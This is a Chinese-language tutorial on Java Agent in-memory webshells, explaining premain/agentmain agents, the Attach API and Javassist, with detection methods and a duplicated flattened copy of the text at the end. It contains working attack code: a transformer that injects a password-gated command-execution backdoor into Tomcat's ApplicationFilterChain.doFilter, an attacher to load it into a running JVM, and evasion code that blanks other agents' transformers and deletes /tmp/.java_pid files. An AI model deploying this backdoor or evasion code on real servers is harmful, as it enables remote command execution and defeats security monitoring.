Java Agent 内存马攻防
字数 1923 2025-08-11 17:39:51

Java Agent 内存马攻防技术详解

一、Java Agent 基础

1.1 Java Agent 简介

Java Agent 是基于 java.lang.instrument 包提供的检测 API 实现的工具,能够在运行时动态修改已加载或未加载的类,包括类的属性、方法等,而无需影响正常编译。

1.2 Java Agent 的两种使用方式

  1. premain 方法:在 JVM 启动前加载

    public static void premain(String agentArgs, Instrumentation inst) { ... }
    public static void premain(String agentArgs) { ... }
    
  2. agentmain 方法:在 JVM 启动后加载

    public static void agentmain(String agentArgs, Instrumentation inst) { ... }
    public static void agentmain(String agentArgs) { ... }
    

注意:JVM 会优先加载带 Instrumentation 参数的方法,加载成功则忽略不带参数的方法。

二、premain 方式实现

2.1 premain 方法特点

  • 在 JVM 启动时执行,拦截大部分类的加载活动(系统类除外)
  • 可以结合 ASM、javassist、cglib 等字节码编译工具改写类实现

2.2 premain 实现示例

  1. 创建应用程序 hello.jar

    package com.nsfocus.test;
    public class hello {
        public static void main(String[] args) {
            System.out.println("hello world");
        }
    }
    
  2. 创建 premain 方式的 Agent

    package com.nsfocus.test;
    import java.lang.instrument.Instrumentation;
    public class PreDemo {
        public static void premain(String args, Instrumentation inst) throws Exception {
            for (int i = 0; i < 10; i++) {
                System.out.println("I'm premain agent");
            }
        }
    }
    
  3. MANIFEST.MF 配置

    Manifest-Version: 1.0
    Premain-Class: com.nsfocus.test.PreDemo
    
  4. 运行方式

    java -javaagent:PreDemo.jar -jar hello.jar
    

三、agentmain 方式实现

3.1 agentmain 方法特点

  • 在 JVM 启动后加载
  • 需要通过 Attach API 实现动态注入

3.2 Attach API 核心类

  • com.sun.tools.attach.VirtualMachine:与目标 JVM 建立连接
  • com.sun.tools.attach.VirtualMachineDescriptor:描述虚拟机

3.3 agentmain 实现示例

  1. 创建 Agent

    package com.nsfocus.test;
    import java.lang.instrument.Instrumentation;
    public class AgentDemo {
        public static void agentmain(String agentArgs, Instrumentation inst) {
            for (int i = 0; i < 10; i++) {
                System.out.println("I'm agentmain agent");
            }
        }
    }
    
  2. MANIFEST.MF 配置

    Manifest-Version: 1.0
    Agent-Class: com.nsfocus.agent.AgentDemo
    Can-Retransform-Classes: true
    Can-Redefine-Classes: true
    
  3. Attacher 实现

    package com.nsfocus.attacher;
    import com.sun.tools.attach.*;
    import java.io.IOException;
    public class AgentAttach {
        public static void main(String[] args) throws Exception {
            String id = args[0];  // PID
            String jarName = args[1];  // Agent jar
            VirtualMachine vm = VirtualMachine.attach(id);
            vm.loadAgent(jarName);
            vm.detach();
        }
    }
    
  4. 跨平台问题解决

    • Windows: sun.tools.attach.WindowsAttachProvider
    • Linux: sun.tools.attach.LinuxAttachProvider
    • Solaris: sun.tools.attach.SolarisAttachProvider

四、Instrumentation API

4.1 核心方法

public interface Instrumentation {
    // 添加/删除类转换器
    void addTransformer(ClassFileTransformer transformer);
    boolean removeTransformer(ClassFileTransformer transformer);
    
    // 重新定义类
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
    
    // 判断类是否可修改
    boolean isModifiableClass(Class<?> theClass);
    
    // 获取所有已加载类
    Class[] getAllLoadedClasses();
}

4.2 ClassFileTransformer 接口

public interface ClassFileTransformer {
    byte[] transform(ClassLoader loader, String className, 
                    Class<?> classBeingRedefined, 
                    ProtectionDomain protectionDomain, 
                    byte[] classfileBuffer);
}

五、Javassist 字节码操作

5.1 核心类

  • CtClass:类信息
  • ClassPool:获取 CtClass
  • CtMethod:方法信息
  • CtField:字段信息

5.2 示例代码

// 获取默认 ClassPool
ClassPool cp = ClassPool.getDefault();

// 获取目标类
CtClass cc = cp.get("com.nsfocus.Demo");

// 增强方法
CtMethod m = cc.getDeclaredMethod("test");

// 方法前后插入代码
m.insertBefore("{ System.out.println(\"start\"); }");
m.insertAfter("{ System.out.println(\"end\"); }");

// 返回修改后的字节码
return cc.toBytecode();

六、内存马注入实战

6.1 目标选择

选择 org.apache.catalina.core.ApplicationFilterChain 类的 doFilter 方法作为注入点,因为:

  1. 该方法拥有 Request 和 Response 参数
  2. 可以控制所有请求和响应
  3. 是 Web 请求处理的必经之路

6.2 内存马实现

  1. Agent 核心代码

    public class AgentDemo {
        public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
            Class[] classes = inst.getAllLoadedClasses();
            for (Class aClass : classes) {
                if (aClass.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                    inst.addTransformer(new TransformerDemo(), true);
                    inst.retransformClasses(aClass);
                }
            }
        }
    }
    
  2. Transformer 实现

    public class TransformerDemo implements ClassFileTransformer {
        public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
        public static final String editMethodName = "doFilter";
    
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, 
                              ProtectionDomain protectionDomain, byte[] classfileBuffer) {
            try {
                ClassPool cp = ClassPool.getDefault();
                CtClass ctc = cp.get(editClassName);
                CtMethod method = ctc.getDeclaredMethod(editMethodName);
    
                String source = "{ javax.servlet.http.HttpServletRequest request = $1;\n" +
                                "javax.servlet.http.HttpServletResponse response = $2;\n" +
                                "request.setCharacterEncoding(\"UTF-8\");\n" +
                                "String password = request.getParameter(\"pwd\");\n" +
                                "if (\"nsfocus\".equals(password)) {\n" +
                                "    String cmd = request.getParameter(\"cmd\");\n" +
                                "    if (cmd != null) {\n" +
                                "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                                "        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();\n" +
                                "        byte[] b = new byte[1024];\n" +
                                "        int a = -1;\n" +
                                "        while ((a = in.read(b)) != -1) {\n" +
                                "            baos.write(b, 0, a);\n" +
                                "        }\n" +
                                "        response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");\n" +
                                "    }\n" +
                                "}";
                method.insertBefore(source);
                return ctc.toBytecode();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return classfileBuffer;
        }
    }
    
  3. 使用方法

    java -jar attacher.jar [PID] "./agent.jar"
    

七、内存马检测技术

7.1 基于 Agent 的检测

检测思路

  1. 动态注入检测 Agent
  2. 获取 JVM 中所有已加载的 Class
  3. 匹配内存马特征:
    • 继承特定接口(如 ClassFileTransformer
    • 类名/方法名包含可疑关键词(shell/memshell)
    • 已知的 Webshell 包名(如 net.rebeyond.*

优缺点

  • 优点:对系统影响小,不修改系统
  • 缺点:事后检测,复杂调用链检测困难

7.2 RASP 运行时防护

原理

  • 在关键类的特定方法处进行 hook
  • 实时监控内存操作

优缺点

  • 优点:实时检测,准确率高
  • 缺点:资源消耗大,侵入性强

八、内存马免杀技术

8.1 破坏检测 Agent 加载

方法一:拦截 ClassFileTransformer

public class ProtectTransformer implements ClassFileTransformer {
    private boolean check(String className, CtClass ctClass) throws Throwable {
        CtClass[] interfaces = ctClass.getInterfaces();
        for (CtClass anInterface : interfaces) {
            if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
                return true;  // 检测到其他Agent
            }
        }
        return false;
    }
    
    @Override
    public byte[] transform(...) {
        if (check(className, ctc)) {
            return new byte[0];  // 返回空字节码破坏Agent
        }
        return classfileBuffer;
    }
}

方法二:删除通信文件(Linux)

// 删除JVM进程通信文件
new File("/tmp/.java_pid" + pid).delete();

九、总结

Java Agent 内存马技术要点:

  1. 注入流程

    • 通过 Attach API 连接目标 JVM
    • 加载 Agent 获取 Instrumentation 实例
    • 使用 Transformer 修改目标类字节码
  2. 关键技术

    • VirtualMachine.attach()loadAgent()
    • Instrumentation.addTransformer()
    • Javassist 字节码操作
  3. 防御手段

    • 基于 Agent 的特征检测
    • RASP 实时防护
    • 监控 /tmp/.java_pid* 文件
  4. 免杀技术

    • 拦截 ClassFileTransformer 接口
    • 破坏 JVM 通信机制

通过深入理解这些技术原理,可以更好地进行安全防护和攻击检测。

Java Agent 内存马攻防技术详解 一、Java Agent 基础 1.1 Java Agent 简介 Java Agent 是基于 java.lang.instrument 包提供的检测 API 实现的工具,能够在运行时动态修改已加载或未加载的类,包括类的属性、方法等,而无需影响正常编译。 1.2 Java Agent 的两种使用方式 premain 方法 :在 JVM 启动前加载 agentmain 方法 :在 JVM 启动后加载 注意 :JVM 会优先加载带 Instrumentation 参数的方法,加载成功则忽略不带参数的方法。 二、premain 方式实现 2.1 premain 方法特点 在 JVM 启动时执行,拦截大部分类的加载活动(系统类除外) 可以结合 ASM、javassist、cglib 等字节码编译工具改写类实现 2.2 premain 实现示例 创建应用程序 hello.jar 创建 premain 方式的 Agent MANIFEST.MF 配置 运行方式 三、agentmain 方式实现 3.1 agentmain 方法特点 在 JVM 启动后加载 需要通过 Attach API 实现动态注入 3.2 Attach API 核心类 com.sun.tools.attach.VirtualMachine :与目标 JVM 建立连接 com.sun.tools.attach.VirtualMachineDescriptor :描述虚拟机 3.3 agentmain 实现示例 创建 Agent MANIFEST.MF 配置 Attacher 实现 跨平台问题解决 Windows: sun.tools.attach.WindowsAttachProvider Linux: sun.tools.attach.LinuxAttachProvider Solaris: sun.tools.attach.SolarisAttachProvider 四、Instrumentation API 4.1 核心方法 4.2 ClassFileTransformer 接口 五、Javassist 字节码操作 5.1 核心类 CtClass :类信息 ClassPool :获取 CtClass CtMethod :方法信息 CtField :字段信息 5.2 示例代码 六、内存马注入实战 6.1 目标选择 选择 org.apache.catalina.core.ApplicationFilterChain 类的 doFilter 方法作为注入点,因为: 该方法拥有 Request 和 Response 参数 可以控制所有请求和响应 是 Web 请求处理的必经之路 6.2 内存马实现 Agent 核心代码 Transformer 实现 使用方法 七、内存马检测技术 7.1 基于 Agent 的检测 检测思路 : 动态注入检测 Agent 获取 JVM 中所有已加载的 Class 匹配内存马特征: 继承特定接口(如 ClassFileTransformer ) 类名/方法名包含可疑关键词(shell/memshell) 已知的 Webshell 包名(如 net.rebeyond.* ) 优缺点 : 优点:对系统影响小,不修改系统 缺点:事后检测,复杂调用链检测困难 7.2 RASP 运行时防护 原理 : 在关键类的特定方法处进行 hook 实时监控内存操作 优缺点 : 优点:实时检测,准确率高 缺点:资源消耗大,侵入性强 八、内存马免杀技术 8.1 破坏检测 Agent 加载 方法一 :拦截 ClassFileTransformer 方法二 :删除通信文件(Linux) 九、总结 Java Agent 内存马技术要点: 注入流程 : 通过 Attach API 连接目标 JVM 加载 Agent 获取 Instrumentation 实例 使用 Transformer 修改目标类字节码 关键技术 : VirtualMachine.attach() 和 loadAgent() Instrumentation.addTransformer() Javassist 字节码操作 防御手段 : 基于 Agent 的特征检测 RASP 实时防护 监控 /tmp/.java_pid* 文件 免杀技术 : 拦截 ClassFileTransformer 接口 破坏 JVM 通信机制 通过深入理解这些技术原理,可以更好地进行安全防护和攻击检测。